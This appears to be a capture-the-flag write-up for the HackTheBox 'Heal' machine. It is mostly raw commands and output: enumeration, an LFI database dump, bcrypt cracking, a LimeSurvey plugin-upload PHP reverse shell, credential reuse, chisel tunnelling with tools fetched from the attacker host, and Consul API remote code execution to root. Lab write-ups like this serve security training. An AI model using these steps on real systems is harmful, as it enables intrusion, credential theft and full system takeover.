xsspresso
xsspresso
WriteupsHTB — Heal
WebMediumLinux

HTB — Heal

ResumeAI app with IDOR exposing all resumes. LimeSurvey RCE via authenticated plugin upload. Consul service token for SYSTEM shell via API exec.

January 11, 2025HackTheBox
#IDOR#LimeSurvey#Consul#RCE

nmap`

sh
nmap -sC -sV -T4 -A -Pn -p- --open 10.10.11.46
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-11 13:09 EST
Nmap scan report for 10.10.11.46
Host is up (0.019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/11%OT=22%CT=1%CU=41051%PV=Y%DS=2%DC=T%G=Y%TM=6782
OS:B3FF%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
OS:SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CS
OS:T11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=
OS:FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=
OS:M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)
OS:T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
 
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
sh
nmap -sC -sV -T4 -A -Pn -p- --open heal.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-11 13:11 EST
Nmap scan report for heal.htb (10.10.11.46)
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Heal
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/11%OT=22%CT=1%CU=44246%PV=Y%DS=2%DC=T%G=Y%TM=6782
OS:B46B%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
OS:SEQ(SP=101%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CS
OS:T11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=
OS:FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=
OS:M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)
OS:T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
 
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   20.35 ms 10.10.14.1
2   22.07 ms heal.htb (10.10.11.46)
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.94 seconds

80/tcp open http

sh
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

vhost fuzzing

sh
ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://heal.htb/ -H 'Host: FUZZ.heal.htb' -fs 178
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://heal.htb/
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.heal.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________
 
api                     [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 207ms]

dir search

sh
dirsearch -u http://api.heal.htb/
 
[13:30:24] 401 -   26B  - /profile.jsp
[13:29:19] 401 -   26B  - /download.php
[13:29:19] 401 -   26B  - /download.js
  • need to signup and use the token to interact with the api.heal.htb

parameter fuzzing

sh
wfuzz -c -z file,/usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u http://api.heal.htb/download.php?FUZZ=key -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ" --hc 500
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
 
Target: http://api.heal.htb/download.php?FUZZ=key
Total requests: 6453
 
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                 
=====================================================================
 
000002233:   404        0 L      3 W        27 Ch       "filename" 

LFI

sh
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u http://api.heal.htb/download.php?filename=FUZZ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ"
 
000000566:   200        4 L      108 W      32768 Ch    "/proc/self/fd/15"

  • highlight the response in BURP and copy to file to save as database.sqlite
sh
sqlite3 database.sqlite
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
ar_internal_metadata  token_blacklists    
schema_migrations     users  
sh
hashcat -m 3200 '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' /usr/share/wordlists/rockyou.txt
 
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369

creds

ralph:147258369

RCE LimeSurvey

  • https://www.exploit-db.com/exploits/50573

RCE plugin

  • https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
sh
git clone https://github.com/Y1LD1R1M-1337/Limesurvey-RCE.git
  • edit the php reverse shell with our IP address

  • edit the config.xml to a new version

  • zip the files config.xml php-rev.php

sh
zip Y1LD1R1M config.xml php-rev.php

the overal steps

txt
LimeSurvey Authenticated RCE Proof of Concept:
 
1. Create your files (config.xml and php reverse shell files)
2. Create archive with these files
3. Login with credentials
4. Go Configuration -> Plugins -> Upload & Install
5. Choose your zipped file
6. Upload
7. Install
8. Activate plugin
9. Start your listener
10. Go url+{upload/plugins/#Name/#Shell_file_name}
11. Get reverse shell
  • execute payload visiting: http://customers-survey.marketing.pg/upload/plugins/Y1LD1R1M/php-rev.php

  • exploit by going: http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php
sh
nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.46] 57448
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 16:19:23 up 22:11,  0 users,  load average: 0.37, 0.08, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
sh
$ uname -a
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
sh
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8503          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1057/nginx: worker  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:56947           0.0.0.0:*                           -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:8301          0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:8302          0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:8600          0.0.0.0:*                           -                   
udp6       0      0 :::5353                 :::*                                -                   
udp6       0      0 :::35334                :::*                                -

linpeas

postgres db connection creds

sh
╔══════════╣ Searching passwords in config PHP files
$config['display_user_password_in_email'] = true;
$config['display_user_password_in_html'] = false;
$config['maxforgottenpasswordemaildelay'] = 1500000;
$config['minforgottenpasswordemaildelay'] = 500000;
$config['passwordValidationRules'] = array(
$config['use_one_time_passwords'] = false;
// This setting has to be turned on to enable the usage of one time passwords (default = off).
            'password' => 'somepassword',
            'password' => 'root',
            'connectionString' => 'pgsql:host=localhost;port=5432;user=postgres;password=somepassword;dbname=limesurvey;',
            'password' => 'somepassword',
            'password' => 'somepassword',
			'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
			'password' => 'AdmiDi0_pA$$w0rd',
            <?= CHtml::activePasswordField($model, 'dbpwd',['class' => 'form-control']); ?>
            <?= CHtml::activeTextField($model, 'dbuser',['class' => 'form-control']); ?>
        <div id="InstallerConfigForm_dbpwd_row" class="mb-3">
        <div id="InstallerConfigForm_dbuser_row" class="mb-3">
            'control' => CHtml::activePasswordField($model, 'adminLoginPwd', array('class' => 'form-control'))
            'control' => CHtml::activePasswordField($model, 'confirmPwd', array('class' => 'form-control'))
            'label' => CHtml::activeLabelEx($model, 'adminLoginPwd', array('class' => 'form-label ', 'label' => gT("Admin login password"))),
            'label' => CHtml::activeLabelEx($model, 'confirmPwd', array('class' => 'form-label ', 'label' => gT("Confirm your admin password"))),
	'password' => '',

psql

sh
python -c 'import pty; pty.spawn("/bin/bash")'	
sh
$ psql -h localhost -U db_user --password 'AdmiDi0_pA$$w0rd' -d survey
sh
survey=> \list
\list
WARNING: terminal is not fully functional
Press RETURN to continue 
 
                                  List of databases
   Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileg
es   
-----------+----------+----------+-------------+-------------+------------------
-----
 postgres  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 survey    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =Tc/postgres     
    +
           |          |          |             |             | postgres=CTc/post
gres+
           |          |          |             |             | db_user=CTc/postg
res
 template0 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres      
    +
           |          |          |             |             | postgres=CTc/post
gres
 template1 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres      
    +
           |          |          |             |             | postgres=CTc/post
gres
(4 rows)
sh
survey=> \du
\du
WARNING: terminal is not fully functional
Press RETURN to continue 
 
                                   List of roles
 Role name |                         Attributes                         | Member
 of 
-----------+------------------------------------------------------------+-------
----
 db_user   |                                                            | {}
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}

reuse password SSH

ron:AdmiDi0_pA$$w0rd the password was from psql foound in linpeas

sh
www-data@heal:/home$ su ron
su ron
Password: AdmiDi0_pA$$w0rd
sh
ron@heal:~$ cat user.txt
cat user.txt
ed47101e...
sh
ssh ron@10.10.11.46
AdmiDi0_pA$$w0rd

chisel

sh
ron@heal:~$ wget http://10.10.14.6/chisel
ron@heal:~$ chmod +x chisel
sh
./chisel server --reverse --port 1234
sh
ron@heal:~$ wget http://10.10.14.6/pspy64
ron@heal:~$ chmod +x pspy64
sh
ron@heal:~$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8503          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -  
sh
./chisel client 10.10.14.6:1234 R:8500:127.0.0.1:8500 R:3000:127.0.01:3000
sh
ron@heal:~$ curl 127.0.0.1:8500
<a href="/ui/">Moved Permanently</a>.
sh
ron@heal:~$ curl 127.0.0.1:3000
<!DOCTYPE html>
<html lang="en">
  <head>
  
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta name="theme-color" content="#000000" />
    <meta
      name="description"
      content="Web site created using create-react-app"
    />
    
    <!--
      manifest.json provides metadata used when your web app is installed on a
      user's mobile device or desktop. See https://developers.google.com/web/fundamentals/web-app-manifest/
    -->
    <link rel="manifest" href="/manifest.json" />
    <!--
      Notice the use of  in the tags above.
      It will be replaced with the URL of the `public` folder during the build.
      Only files inside the `public` folder can be referenced from the HTML.
 
      Unlike "/favicon.ico" or "favicon.ico", "/favicon.ico" will
      work correctly both with client-side routing and a non-root public URL.
      Learn how to configure a non-root public URL by running `npm run build`.
    -->
    <title>Heal</title>
  </head>
  <body>
    <noscript>You need to enable JavaScript to run this app.</noscript>
    <div id="root"></div>
    <!--
      This HTML file is a template.
      If you open it directly in the browser, you will see an empty page.
 
      You can add webfonts, meta tags, or analytics to this file.
      The build step will place the bundled scripts into the <body> tag.
 
      To begin the development, run `npm start` or `yarn start`.
      To create a production bundle, use `npm run build` or `yarn build`.
    -->
  <script src="/static/js/bundle.js"></script><script src="/static/js/0.chunk.js"></script><script src="/static/js/main.chunk.js"></script></body>
</html>
 

priv esc

consul rce

  • https://www.exploit-db.com/exploits/51117
  • need to get the
sh
ron@heal:/etc/consul.d$ cat /etc/consul.d/config.json
{
"bootstrap":true,
"server": true,
"log_level": "DEBUG",
"enable_syslog": true,
"enable_script_checks": true,
"datacenter":"server1",
"addresses": {
        "http":"127.0.0.1"
},
"bind_addr": "127.0.0.1",
"node_name":"heal-internal",
"data_dir":"/var/lib/consul",
"acl_datacenter":"heal-server",
"acl_default_policy":"allow",
"encrypt":"l5/ztsxHF+OWZmTkjlLo92IrBBCRTTNDpdUpg2mJnmQ="
}
 
  • acl_default_policy is set to allow:

    • This means that, unless otherwise specified, requests should be permitted by default, which might simplify interaction without a token.
  • No explicit acl_token or acl_master_token:

    • The configuration file does not directly include any ACL token. The token might be dynamically generated or stored elsewhere (e.g., environment variables, a secure vault).
  • encrypt Key:

    • The encrypt field contains the gossip encryption key. It is unrelated to ACLs but is used for securing communication between Consul agents.
sh
python3 51117.py 127.0.0.1 8500 127.0.0.1 1236 ''
 
[+] Request sent successfully, check your listener
sh
ron@heal:/etc/consul.d$ nc -lnvp 1236
Listening on 0.0.0.0 1236
Connection received on 127.0.0.1 36992
bash: cannot set terminal process group (100991): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# whoami
whoami
root

root.txt

sh
cat root.txt
df01fa35...